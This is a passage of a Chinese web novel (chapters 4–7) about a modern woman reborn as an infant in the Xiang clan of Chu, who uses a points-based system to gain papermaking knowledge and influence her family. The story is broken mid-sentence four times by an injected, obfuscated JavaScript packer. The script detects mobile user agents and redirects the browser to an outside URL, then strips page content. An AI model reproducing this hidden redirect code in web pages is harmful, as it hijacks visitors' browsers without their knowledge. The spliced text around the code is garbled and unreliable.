“单靠武力,不足以得天下,更不足以治天下。”
项菲的思路越来越清晰,“我不能用自己的短板去硬拼别人的长板。我有我自己的优势,我要发挥我自己的优势才对。”
系统适时提问:【宿主认为自己有何优势?】
项菲露出了一丝苦笑:“优势?硬要说的话,无非是多读了几年书,多知道一些历史脉络,脑子里装了些这个时代没有的概念和知识碎片罢了。这些知识,在这个崇尚武力和血统的时代,真的算优势吗?”
一个俗套的不能再俗套的slogan出现在了项菲的脑海里——知识就是力量。
知识自有力量,关键看她如何应用。
她来自一个怎样的世界?
那是一个曾经将“星星之火,可以燎原”践行到极致的世界。
一个深刻理解最广大的农民和工匠蕴含何等伟力的世界。
这个时代的贵族们的眼睛长在头顶上,他们看到的是待收割的粮食和可供驱使的民夫,而她看到的,是沉默却能够改天换地的磅礴力量。
当年能靠小米加步枪创造奇迹,如今,她手握跨越千年的知识库,身处这乱世前夜,为何不能为自己,也为那些沉默的大多数,争一个不一样的未来?
关键在于,如何点燃那第一簇火苗,如何将松散的力量组织起来,如何让知识跨越壁垒,产生共鸣。
项菲的目光,最终坚定地落在了一个图标上。那图标朴素无华,却让她的意识为之明亮。
“我要它。”:项菲说道,意念指向那个选择。
【《造纸术(汉代工艺改良版)》】
【价格:300积分】
【描述:提供从原料(树皮、麻头、破布等)处理、制浆、抄造到干燥的完整工艺流程图及关键技术要点。成品纸张质量稳定,成本显著低于缣帛,易于推广。】
系统似乎有些意外项菲的选择,于是它难得地和项菲多说了几句:【有趣的选择。基于对宿主行为模式的初步分析,本机预测宿主更倾向于兑换直接增强军事或农业能力的技术。】
“军事和农业好比骨架和血肉,但我要先解决神经和血管的问题。”项菲的意识体仿佛在微笑,“思想、政令、知识、情报……这些需要载体。竹简太笨重,缣帛太昂贵,它们都属于贵族和官府。而我要的声音,要传播的理念,需要一种更轻、更便宜、更能飞入寻常百姓家的东西。”
系统瞬间明白了项菲所说的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17340416|199294||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
意思,下一秒,冰冷的提示音响起。
系统:【确认兑换《造纸术(汉代工艺改良版)》。扣除积分300点,宿主剩余积分250点。】
一股清凉而庞大的信息流瞬间涌入项菲的意识,那并非简单的文字说明,而是包含了大量的图像、手感、气味甚至操作细节的“沉浸式记忆包”。
一瞬间,她仿佛“看到”了沤泡原料的池塘,“闻到”了蒸煮纸浆的味道,“感受”到了抄纸帘入水提起的力道与节奏……
系统传输结束后,这门技术已如同她苦练多年般熟稔于心。
知识已经到手。接下来的问题是:一个五个月大的婴儿,如何将这项技术,变成她在这个世界立足和布局的第一块基石?
还没等项菲思考出具体应该如何将这项技术落到实处,系统就提醒她道:
【宿主还剩余250积分,要继续兑换其他物品吗?】
项菲浏览了一遍系统商城里的其他知识,发现她这点积分实在是换不到什么有用的东西。比如说古法制糖工艺售价:四百积分。黑/火药售价:八百积分。
这些东西对目前的她来说都太贵了……
目前项菲获得积分的唯一渠道就是完成系统的任务,且任务失败还会扣除部分积分。她也无法保证每次任务完成的都会像这次一样顺利,一旦任务中间出现些许差池,系统自动扣除积分,一旦她的积分成为负数,就是一个难以挽回的debuff。
古代婴儿的夭折率这么高,她健康地长大都不容易,一旦有了debuff,别说什么王图霸业,只怕活着都难。
想到此处,项菲不由得叹了口气说:“暂时先不兑换了,存点积分我会更有安全感一些。”
系统也不强求,只是对项菲说:【如果宿主不继续兑换商品,可以随时退出系统商城。持续在商城浏览也会消耗宿主的精神力。】
听到系统的劝告,项菲的意识退出商城,回归婴儿那小小的身躯。
她躺在柔软的襁褓里,漆黑的眼睛在黑暗中睁开,望着头顶模糊的房梁轮廓。
一片黑暗之中,她几乎什么都看不清楚。一阵难以言喻的孤独瞬间涌上项菲的心头,仿佛这无边无际的黑暗之中只剩下了她一个人。
这种认知让她瞬间有些惶恐,项菲下意识在脑海里呼叫系统:“系统,你在吗?”
系统:【宿主,我在。】
冰冷的电子音响起,却莫名地带给了项菲些许安慰。
项菲接着问系统:“你不需要休息吗?那我睡觉的时候你在做什么?”
系统:【在休眠。】
项菲哦了一声,接着问:“你一直在吗?”
系统:【是的,我一直在。】
项菲沉默了片刻,才说:“下一个任务是什么?”
系统:【尚未到任务解锁时间。】
项菲询问道:“如果任务一直不发布,我怎么赚积分呢?换句话说,赚积分只能通过完成你发布的任务吗?没有其他模式吗?”
系统:【系统只发布主线任务,其他支线任务需要宿主自行探索。】
项菲明白了,系统发布的任务都是为了达成终极目标而拆分的阶段性任务,相当于是故事的主线。可构成一个世界的不只有主线,还有很多的支线,系统并不会阻止玩家探索这个世界的其他支线。
5. 第 5 章
项菲能坐起来自己爬行是在第七个月的时候。
正是腊月时节,天寒地冻,哪怕自己的屋子中央烧着炭火,那阴冷潮湿的风仍然从四面八方吹来,将项菲冻得瑟瑟发抖。
好在年关将近,一年四季在外头打仗的项家子弟也陆陆续续归了家。
而项燕就在其中,自那日宴席之上项菲石破天惊一般开口唤他之后,项菲便一跃成为了项燕如今的掌中宝。每日只要军务稍闲,定要将项菲抱到他的书房或者暖阁,放在身旁铺了厚厚毛皮的矮塌上,一边处理文书、一边和子侄幕僚议事一边逗弄她。
拜项燕所赐,项菲不满周岁已经将项家有头有脸的人认了个全乎。
而项菲也乐得借此机会多学习一点这个时代的信息。她像一个耐心的捕猎者,一点一点地解锁着自己的各项能力。
等到了第八个月的时候,她已经能清晰地说出比较完整的句子了,而且逻辑通顺。相比之下,她的同胞兄弟阿籍此刻还在牙牙学语。
两相对比,越发显得项菲不凡,那道士“天命贵不可言”的批语,在众人心中分量日重。
项菲也察觉到了项燕这额外的“培养”,项燕和心腹将领、谋士的密谈从来都没有避讳过她,虽然那些地名、人名、兵力、政局的对话,项菲大多都听不懂,只能灌一个耳熟。
直到那一天。
项燕书房的炭盆依旧烧得很旺,驱散了腊月的寒气。
而项燕正与项梁、项渠以及几位幕僚商议着什么,气氛略显凝重。一位刚从北方探听消息回来的谋士,面带忧色,压低声音禀报:“家主,最新密报,质于秦国的燕太子丹……逃回燕国了。”
燕丹?!
正佯装玩着自己手指的项菲,心头猛地一跳。
这个熟悉的名字唤起了项菲的记忆。
燕国太子丹,少时和秦王嬴政一同在赵国做过质子,后世野史记载二人年少时感情不错。项菲甚至还刷到过不少二人的同人文,均是什么青梅竹马成为宿敌相爱相杀之类的。总之说起这个人,总是逃不开后世中小学生都要背诵的荆轲刺秦,因此项菲也清楚这位倒霉蛋实则也是导致燕国被灭的关键人物。
于是项菲的耳朵立即竖了起来。
项菲刚从自己前世的记忆中回过神,就听到项燕沉重地叹了口气,那叹息里浸满了这位楚国老将的疲惫与洞见:“太子丹归燕,必不甘心俯首。燕国弱小,不足以抗秦,只怕会行险招……唉,如此一来,秦国东顾之心更切。赵国……只怕撑不了几时了。”
项燕没有明说,但项菲瞬间听懂了他的未尽之意。
秦国下一个重点打击目标,就是赵国!而这位与秦军鏖战多年、深知秦国虎狼之性的楚国老将,显然已对赵国的命运做出了悲观的预判。
知道后世历史的项菲赞同项燕的观点,可在场的其他人似乎都不这么想。
就比如她的伯父项梁此刻就有些不服,道:“父亲何必如此悲观?赵国尚有武安君李牧在!此人用兵如神,屡退秦军,有他在,赵国山河稳固,哪里就到山穷水尽的地步了?”
武安君李牧!
又一位在历史星空中璀璨夺目却又注定悲剧的名将!
项菲脑海中关于战国末年的记忆碎片飞速拼接。
是的,李牧是赵国最后的屏障,是让王翦都感到棘手的存在。
但是……
历史书上写得清清楚楚,李牧最终死于赵王迁的猜忌和秦国的反间计!赵国的灭亡,既亡于战场,也亡于庙堂!
这些人尚且不明白,赵国灭亡天下一统的洪流,岂是一个人能挽回的?哪怕这个人是武安君李牧,他也不能。
一股混合着先知先觉的无奈与对英雄末路的惋惜涌上心头,她完全没意识到,自己竟随着思绪,轻轻叹了一口气,还摇了摇头。
那神态,绝不属于一个八月大的婴儿。
书房内原本低沉而连续的议论声,在这声清晰的叹息中,戛然而止。
所有目光,齐刷刷地聚焦在了角落矮榻上那个穿着红色锦袄,像个雪团子般的小人儿身上。
项燕最先反应过来,他眼中精光一闪,忽然哈哈大笑,长身而起,几步走到榻边,一伸手便将项菲稳稳抱了起来:“我家阿飞这是在偷听我们这些大人讲话?”
他将项菲举到与自己视线平齐,饶有兴趣地打量着她那双过于清澈、此刻还带着未散思绪的眼睛,“嗯?你可听得懂我们在讲什么?小小年纪,叹得哪门子气,摇得哪门子头?”
项梁也笑着打圆场,试图缓和这有些奇异的气氛:“阿父说笑了,阿飞才多大,路都走不稳,哪能听懂这些天下兴亡的军国大事?只怕是坐久了,无聊了,或是饿了,想找乳母喝奶了。”
被举在空中的项菲闻言,忍不住朝项梁的方向翻了个小小的白眼,心中吐槽:你才想喝奶了!
她这灵动的小表情没能逃过项燕的眼睛。
老将军笑意更深,将她放回自己宽阔坚硬的膝头,却见这小孙女并未像寻常婴孩那样扭动或索抱,反而挣扎着,努力在他腿上坐正了身子,小小的脊背甚至试图挺直。
然后,她抬起脸,用那双黑葡萄似的眼睛,认真地看向项梁,奶声奶气,却字字清晰地说:“伯父,我不想喝奶。”
她顿了顿,似乎在组织更复杂的语言,目光扫过房中神色各异的众人,最后落回项燕探究的脸上,补充道:“我听得懂。”
一语既出,满室皆静。连炭火“噼啪”的爆响都显得突兀。
项燕脸上的笑容收敛了些,取而代之的是一种混合着惊异与兴味的深沉表情。他放缓了声音,如同对待一个平等的交谈者:“哦?那阿飞说说,你听懂了什么?刚才又为何叹气?”
项菲眨了眨眼,脸上露出孩童式的苦恼神情。她的小脑袋转来转去,最后视线定格在书房中央那根支撑着房梁的粗大楠木柱子上。
她伸出短短胖胖的手指,指向那根柱子,用稚嫩却笃定的声音说:“我听到,你们说,赵国有一根
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17340417|199294||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
很厉害很厉害的柱子。”
然后,她的手指移开,虚虚地画了个圈,仿佛将那根柱子单独框了出来。“可是,只有一根柱子,”她的小眉头蹙起,做出了一个向下垮塌的手势,清晰地说,“支撑不了大房子。”
她抬起眼,看着项燕,仿佛在求证一个再简单不过的道理:“房子要塌了。所以,我叹气了呀。”
“……”
书房内,落针可闻。
项燕脸上的所有表情在这一刻全部凝固,旋即化为更深沉的震动。
他抱着项菲的手臂不自觉地收紧了些,那双看惯沙场血火、洞察人心鬼蜮的眼睛,死死锁在怀中孙女那稚嫩却异常平静的小脸上。
项渠和项梁更是目瞪口呆,如同被施了定身法。他们看看项菲,又看看那根被指过的柱子,再回想刚才议论的赵国局势……一股寒意夹杂着难以置信的激动,顺着脊椎窜了上来。
“独木难支……”项梁喃喃地重复着这个孩子用最质朴比喻道出的残酷真相,脸色微微发白。
项燕没有立刻说话。
他只是缓缓地将项菲再次举高,举到与自己目光平齐的位置,近得能看清她每一根纤长的睫毛。他的眼神无比认真,甚至带着一丝前所未有的凝重。
“我家阿飞……”他的声音有些干涩,充满了难以置信的感慨,“还未满周岁,竟已懂得‘独木难支’的道理?不,你不仅仅是懂得这个道理……”
项菲适时地露出了些许孩童应有的懵懂,歪了歪头,仿佛不理解祖父为何如此激动:“大父,这很难吗?柱子倒了,房子就会塌,阿菲看到的呀。”
“难?呵……”项燕短促地笑了一声,那笑声里满是沧桑与复杂的意味。
“道理本身是不难。难的是身处局中,手握重兵,肩负一国存亡时,还能看清这独木难支的绝境!难的是庙堂之上,那些醉生梦死、党同伐异之辈,宁愿自毁栋梁,也不愿承认大厦将倾!”
他的目光越过项菲的头顶,仿佛穿透了墙壁,投向了遥远的北方,那片战火即将燎原的土地。
项燕抱着项菲,像抱着一件稀世珍宝,又像抱着一个能与他共享这份沉重洞见的知己,声音低沉而辽远:“你说得对……我的小阿飞,你看得比许多人都清楚。”
“武安君李牧,确是天纵奇才,国之柱石。可惜,赵国之弊,在庙堂,不在边疆;在人心涣散,不在甲兵不利。他一己之力,如何撑得起那早已被蛀空、倾轧不休的朝堂?如何抵得过虎狼之秦的步步紧逼,更防不住来自背后的冷箭暗刀……”
项燕的声音越来越低,最终化作一声悠长的叹息,与项菲先前那声叹息,奇异地重合在了一起。
“赵国……大厦将倾矣。”
这一刻,书房内再无一人将项菲视为寻常婴孩。那根被稚嫩手指点过的柱子,仿佛成了一个烙印在每个人心头的预言符号。
项菲安静地待在祖父坚实的怀抱里,垂下眼帘,掩去了眸底深处一闪而过的清明与决断。
6. 第 6 章
自那日书房惊人之语后,项菲在府中的地位悄然发生了微妙的变化。
不再只是颇受宠爱的孙儿,而是隐隐被许多人暗中议论的“那位早慧的主子”。
乳母仆妇们抱着她时,动作更加轻柔,目光里多了些小心翼翼的敬畏。叔伯兄长们偶尔见到她,也不再只是随意逗弄,眼神中会多一分审视与探究。就连她那还只会咿呀流涎的弟弟阿籍,似乎都被乳母叮嘱过什么,被抱到她身边时总是格外安静。
项菲乐得清闲,她整日便是专心地喝奶、睡觉、暗中观察。
然而一日清晨,喝奶这项日常活动,却出了岔子。
项菲和项籍虽然是双胞胎,但两人各自都有乳母,项菲的奶一向是她的乳母韩氏来喂的。
此刻项菲被乳母韩氏抱在怀中,正闭眼享受那温热甘甜的乳汁,却渐渐感觉呼吸不畅。她睁开眼,发现韩氏正望着窗外发呆,手上竟不自觉地将她的脸往胸口按去,几乎堵住了她的口鼻。
项菲用小短手用力推了推,没推动。
再推,还是没推动。
喂喂喂!谋杀啊!
她加大力气,连蹬带踹,终于让韩氏回了神。
韩氏慌忙松开手,低头看向怀中憋得小脸通红的项菲。然后,韩氏整个人愣住了。
因为项菲正用一种沉静得近乎通透的目光静静地看着她。
那目光里没有婴孩的懵懂,没有被闷到的恼怒,只有一种让人无所遁形的了然。
仿佛在问:你怎么了?
韩氏心头猛地一跳,一个荒谬至极的念头竟不受控制地冒了出来:告诉小公子。小公子有办法……他能救我和我的孩子。
这个念头如同溺水之人抓住的浮木,一旦生出,便再难压下。
她双腿一软,竟直直地对着榻上的项菲跪了下去。
项菲刚被扶着勉强坐直,就见一个成年妇人对着自己轰然跪下,差点被口水呛到。
这……这大可不必行此大礼啊!爱卿快快平身!
当然,她此刻只是一个“十个月大的神童”,不能说出这等穿越感十足的话来。
项菲只能奶声奶气地开口,努力让自己的声音听起来像个好奇的孩子:“韩嬷嬷,你是……遇到什么难处了吗?”
不问还好,这一问,韩氏的泪水便如决堤之水,汹涌而出。
项菲:“……”
完了,水漫金山了。
她耐着性子,听韩氏断断续续泣不成声地讲述,拼凑出了一个让她血压飙升的古代版“软饭硬吃”故事。
韩氏原本是韩国王室的偏支,他们家这一支似乎是犯了什么事只能举家逃往到了楚国。等到了楚国之后,韩氏的父亲做主给她寻了如今这个丈夫。韩氏这个丈夫年轻时看上去还像个样子,可等到韩氏双亲故去之后便不装了,露出了好吃懒做的本性来。
韩氏原本的家财被她这丈夫挥霍一空,全家只能靠她给人浆洗衣裳勉强糊口。可浆洗这活计不怎么挣钱,实在养不活一家三口,她只得自卖自身,入项府为乳母,换些银钱供那男人度日。
昨日,老家捎来信——那杀千刀的王八蛋,将她卖身的钱挥霍一空后,竟将她刚一岁的儿子也卖了!
项菲听完,沉默良久。
这算什么?渣男从古至今都是一个生产线出来的?
她看着哭得几乎晕厥的韩氏,心中泛起复杂的滋味。
一个母亲,为了养活孩子不得不离开孩子,结果孩子却被她供养的男人卖掉……这荒诞的悲剧,在古代底层,怕是每天都在上演。
她没有立刻说话,而是在脑海中飞速盘算。
这事,她管得了吗?
若是寻常十个月大的婴儿,身无分文,手无缚鸡之力,连路都走不稳。按理说,这事管不了。
可她不一样。
她不是寻常婴儿啊。
这事她未必管不了,只是她要不要管呢?
韩氏是她的乳母,算是她最亲近的人之一。若是不帮她,是不是会寒了其他人的心呢?
“韩嬷嬷,”项菲思索片刻后开口,声音依然奶气,却莫名带着让人安静的力量,“你且将眼泪擦了,去洗把脸,收拾整齐后。抱我去找大母。”
韩氏抬起泪眼,怔怔地看着怀中这个小小的孩子。那双眼睛里没有孩童的天真,只有一种让人安心的笃定。
她竟真的止住了泪,依言起身,擦脸,梳头,整理了衣衫,然后稳稳地将项菲抱起,往主院而去。
项菲的祖母景氏,出身楚国著名的屈、景、昭三族之一的景氏,是一等一的楚国贵族。她执掌项氏中馈多年,手段凌厉,威望极高。这种事,找她最靠谱。
韩氏一踏进院子,报信的仆妇说了句稍等便飞快地走进了院子:“老夫人,飞哥儿来了,说要找祖母呢。”
景氏正与儿媳钟氏说着话,闻言不由诧异。这个时辰,飞哥儿不是在喝奶睡觉吗?怎么跑来了?
“让他进来吧。”她放下茶盏,饶有兴致地看向门口。
韩氏抱着项菲躬身而入。项菲一进门,便看到自己的母亲钟氏正坐在祖母下首,脸色不太好看。
她立刻挥舞着小手,甜甜地打招呼:“阿母好~”
钟氏却眉头微蹙,语气里带着不悦:“飞哥儿,你才多大的人,不在屋里好好呆着,怎么整日乱跑?可是有什么人撺掇的你?”
项菲明显感觉到韩氏抱着她的手一紧,身子微微发抖。
来了,这就是古代职场。
主母借题发挥敲打下人,此时韩氏要是背了这个锅,只怕要遭罚。
项菲连忙开口,脸上堆起无害的婴儿笑:“阿母,我不是乱跑,我是想大母了~我有话想对大母说呢!”
景氏闻言,脸上的兴味更浓了。这小东西才十个月大,就有“话”要对自己说?
“哦?”她微微前倾身子,笑着问,“那飞哥儿说说,你要和大母说什么呀?”
项菲眨眨眼,一脸天真:“我要来给大母送福气呀~”
景氏被逗笑了,屈指点了一下她的小鼻头:“你个小鬼头,别卖关子。什么福气?说来听听。”
项菲于是用她那稚嫩的童音,一本正经地说道:“大母,我听说,韩嬷嬷的儿子被坏人卖掉了,母子分离,好可怜的~”
她顿了顿,似乎在努力组织语言,那认真的小模样让景氏眼底的笑意更深了几分。
“自古母子分离,便是人间最惨的事。若是能让她们团聚,救一个孩子,不是天大的功德吗?”项菲抬起
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17340418|199294||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
脸,眼睛亮晶晶地看着景氏,“韩嬷嬷的孩子可怜,没见过母亲就被卖了。大母要是能派人寻到他,让他来咱府里,韩嬷嬷就能天天见到儿子了。这不是给大母送福气吗?”
一席话,说得满室寂静。
钟氏愣住,没想到自己这十个月的幼子,竟能说出这样一番话来。
景氏则怔了一瞬,随即仰头大笑起来。那笑声爽朗,震得项菲都跟着晃了晃。
“好啊!”景氏一把将项菲从韩氏怀中抱过来,放在自己膝上,捏着她的小脸蛋,“好你个小飞哥儿,这是要借我的人手,给你办事呢!还编了这么大一套故事来哄我!”
项菲揉揉被捏的脸,不慌不忙地接话:“没有哄大母,我说的都是真的。韩嬷嬷心里定然会对大母的恩情感激不尽的!”
韩氏哪里还站得住,扑通一声又跪下了,额头触地,声音颤抖:“老夫人若能寻回我那苦命的孩子,婢子愿肝脑涂地,做牛做马,报答老夫人的恩情……”
景氏脸上的笑意淡了些,目光从项菲身上移到韩氏身上,带着上位者惯有的审视与淡漠。
“起来吧。”她淡淡道,语气里听不出喜怒,“看在飞哥儿的面子上,我且遣人去寻一遭。不过也只此一遭。”
她顿了顿,目光微沉,语气陡然凌厉起来:“韩氏,你要记清楚,项家买你,是叫你来做工的,不是叫你来撺掇哥儿替你求情做事的。今日之事,下不为例。”
韩氏浑身一颤,连连叩首:“是!婢子明白!婢子不敢!”
项菲安静地坐在景氏膝上,心中默默给这位祖母点了个赞。
敲打得好。既给了面子,又立了规矩。
这府里,终究是祖母说了算。
几日后,祖母那边果然传来了消息——人找到了。
韩氏的儿子被卖到了邻县一户人家,幸而还未被转手,景氏遣去的人花了些银钱,便将孩子赎了回来。当那个瘦小的男孩被抱到韩氏面前时,韩氏抱着孩子,哭得几乎晕厥。
而就在消息传来的瞬间,项菲脑海中响起了熟悉的系统提示音:
【恭喜宿主,成功救助平民母子,获得平民支持度+2】
【额外奖励:系统积分+2】
【目前积分:252】
【系统说明:民心所向,即为天命所归。积少成多,集腋成裘。】
项菲躺在摇篮里,嘴角微微弯起一个旁人难以察觉的弧度。
两积分。
不多,却是除了系统设定的任务之外,她自己挣来的积分。
这意味着她能够通过手头现有的“权势”斩获积分,再通过积分巩固自己的权势。
这个sop能跑通啊!
那系统设定的终极任务,她也不是不能争一下了!
这两积分极大地鼓舞了项菲。
窗外的腊梅开得正好,有暗香浮动。项菲侧过头,透过窗棂的缝隙,看见韩氏正抱着她的孩子,站在院角,对着主院的方向,深深叩首。
那叩首的方向,不仅是祖母的院子,似乎也是……她所在的方向。
项菲收回目光,闭上了眼睛。
对她来说这一切只是一场游戏,可对韩氏来说,她的行为却是实实在在的救了她和她孩子的命。
7. 第 7 章
冬去春来,时光匆匆,又是一年夏日。
窗外的蝉鸣聒噪了整整一个上午,阳光透过槐树的枝叶洒进庭院,在地上投下斑驳的光影。
项菲躺在乳母韩氏的怀里,任由她给自己换上崭新的衣裳。
大红色的小锦袍,绣着祥云纹样,腰上还系着一块小小的玉佩。
她低头看了看自己的手,白白嫩嫩,藕节似的。
来到这个世界,整整一年了。
一年前的这个时候,她还是写字楼里那个加班到凌晨三点的社畜,连口水都来不及喝就两眼一黑,再睁眼就成了这个婴儿。
如今,她已经能说会道、能坐能爬,有了新的人生。
今日是个大日子,是她和阿籍的周岁礼。
楚人素来好占卜,凡事都要问一问鬼神,测一测吉凶。
婴儿周岁上的“试儿”,和后世的抓周礼相似,是楚人用来预测孩子未来命运的重要仪式。
天还没亮,她和阿籍就被乳母们从被窝里捞出来,洗刷干净,换上簇新的衣裳,被抱去祠堂祭拜列祖列宗。
项菲迷迷糊糊地被抱着磕了几个头,只来得及瞥见供桌上那层层叠叠的牌位,和袅袅升起的香烟。
然后,她和阿籍被抱到了正堂。
今日来的宾客多是项家故旧——有项氏宗族的叔伯,有项燕昔日的部将,也有会稽郡当地的豪强。
项菲被韩氏抱在怀里,从一张张陌生的面孔前经过,耳边全是各种夸赞和吹捧之声。
“哎呀,这对双胞胎养得真好,多结实啊!一看就是继承了项将军的老体格!”
“可不是嘛!瞧瞧这小胳膊小腿,将来定然是一代名将,保家卫国,建功立业!”
“项家后继有人啊!”
······
项籍的乳母抱着他走在前面,小家伙似乎被这么多人盯得有些不自在,小脸皱成一团,随时准备哭出来。相比之下,项菲就显得淡定多了,她一脸漠然地扫过这些满脸堆笑的宾客,内心毫无波澜。
一堆彩虹屁,翻来覆去就是那些没有营养的话,真不知道大家都是怎么忍住不笑的。
她悄悄瞥了一眼坐在主位上的祖母景氏。这位出身楚国顶级贵族的女人,始终神色淡淡,既没有被那些恭维话哄得开怀,也没有露出任何不耐烦。等众人的声音稍稍平息,她才不紧不慢地开口:“项家子孙,不求他们建功立业,只求能身体康健,百岁无忧。”
此言一出,满座宾客又是新一轮的夸赞。
“老夫人说得是!这才是大智慧啊!”
“到底是景氏女子,见识不凡!”
“项家有老夫人掌舵,何愁不兴旺!”
······
项菲差点翻白眼。
说来说去,还是彩虹屁。只不过从夸孩子变成了夸祖母。
她百无聊赖地靠在韩氏怀里,听着那些车轮话滚来滚去,眼皮开始发沉。今日着实是起得太早,这具婴儿的身体有些遭不住。
好在时辰差不多了。
正堂中央铺开了一张巨大的锦垫,上面摆满了各式各样的小物件。笔、墨、竹简、砚台、斧、钺、钩、剑、算盘、铜镜、针线、乐器、印章、金银,甚至还有几盘颜色鲜艳的糕点······
琳琅满目,应有尽有。
项菲和项籍被并排放在锦垫的一端。
“开始吧。”项燕含笑开口,目光落在两个孙儿身上。
项菲盘腿坐在垫子上,目光缓缓扫过面前这一堆东西。
笔墨砚台,文官之路;斧钺钩剑,武将之途;算盘铜镜,商贾生计;针线乐器,技艺傍身;印章,权势;金银,富贵;还有那几盘点心……嗯,看起来挺好吃的。
项菲陷入沉思。
也许是她思考的时间太久,一旁的项籍已经率先行动了。
小家伙手脚并用地往前爬,目标明确地扑向一把未开封的小宝剑,一把抱住就不肯撒手。
“好!好!”宾客们顿时爆发出一阵喝彩,“抓剑!这是要将门虎子啊!”
“将来定然和项将军一样,是威震天下的大将军!”
······
项燕笑得开怀,抚须点头。
项菲瞥了一眼抱着宝剑傻乐的弟弟,心中默默补了一句:威震天下是真的,乌江自刎也是真的。
不过这话现在不能说。
她的目光重新落回面前那些琳琅满目的物件上。
说真的,她什么都想要。
金银财宝——没钱寸步难行,走到哪里都需要钱。
笔墨砚台——知识就是力量,文化就是软实力,她脑子里那些超越时代的知识,终究要靠笔墨来落地。
那几盘糕点——虽然她现在已经能吃饭了,但小孩子嘛,嘴馋不是很正常?
还有印章……
她犹豫的时间太长了,项燕终于忍不住开口:“阿飞怎么还不选?”
项菲抬起头,对上祖父那含笑探究的目光,叹了口气,小小的脸上露出与年龄极不相符的苦恼之色:“大父,我都想要。可我拿不下啊……”
此言一出,满堂皆笑。
“哈哈哈哈哈!”
“这孩子说话可真利索!”
“周岁就能说整句话,真是不得了不得了!”
“聪慧!太聪慧了!”
······
一片笑声中,只有项燕没有笑。他看着项菲那副认真苦恼的模样,眼底闪过一丝只有他自己才懂的深意。
这孩子,是真的都想要。
他弯下腰,凑近了些,声音温和却意味深长:“阿飞,人总要学会取舍的。不在今日,也在明朝。”
项菲对上祖父那双仿佛能看透一切的眼睛,心中微微一凛。
是啊,取舍。
鱼和熊掌不可兼得,她当然知道。早在初中的教科书上孟子就告诉过她这个道理。
可是……她是真的都想要啊·····
她低头看着面前那一堆东西,脑海中飞速转动。
如果什么都想要,那就先抓住最重要的。有了那个,其他的可以慢慢来。
她的目光最终落在一枚小小的印章上。
印章。
权力的象征,也是权力的工具。有了权力,金银财宝可以慢慢积累,笔墨可以随意取用,甚至那些糕点……想吃多少有多少。
她伸出小手,稳稳地拿起了那枚印章。
“哦?”项燕眼睛一亮,哈哈大笑起来,“阿飞和阿籍,一文一武,倒是相得益彰!”
宾客们又是新一轮的恭贺。
“抓印章!这是要入仕为官啊!”
“说不定将来能当上令尹呢!”
“项家既有将才,又有相才,何愁
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17340419|199294||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不兴!”
项菲握着那枚小小的印章,脸上挂着得体的婴儿笑,心中却默默盘算:令尹算什么?她要完成的任务,可比令尹高多了。
正当满堂喜气洋洋之际,一道尖细的声音从门外传来:“奉令尹之命,给项家二位公子贺喜!”
笑声戛然而止。
项燕和景氏飞快地对视一眼,面色瞬间变得微妙起来。
一位内侍打扮的人步入正堂,手中捧着一份精致的贺礼,身后还跟着两个抬着箱笼的小厮。他满面堆笑,恭恭敬敬地将礼单呈上:“令尹大人听闻项家添丁,特命小人前来道贺。区区薄礼,不成敬意,还望项将军笑纳。”
项燕接过礼单,扫了一眼,面上挂着得体的笑容:“令尹大人太客气了。烦请回禀令尹,项某谢过他的厚意。”
内侍又说了几句吉祥话,便告辞离去。
宾客们面面相觑,气氛一时有些微妙。很快有人反应过来,继续说着恭喜的话,但那喜气终究不如先前纯粹了。
待宾客散尽,项燕将那礼单递给景氏,意味不明地笑了笑。
景氏接过一看,眉头微蹙:“李园倒是大方。”
项菲被韩氏抱在怀里,耳朵却竖得高高的。
李园。
这个名字,她太熟悉了。
楚国后期最炙手可热的权臣。靠着妹妹李嫣入宫成为楚王后,一跃成为令尹,权倾朝野。但此人口碑极差,结党营私,贪权恋势,楚国朝堂被他搞得乌烟瘴气。
项燕将礼单放在案上,淡淡道:“你找些价值差不多的东西,回个礼吧。”
景氏面露犹豫之色:“李园如今正得势,我们若是过于推拒,是不是……”
“我们要是和李园太亲近了,才是祸事。”项燕打断她,语气虽轻,却不容置疑,“就这般不冷不热地处着吧。”
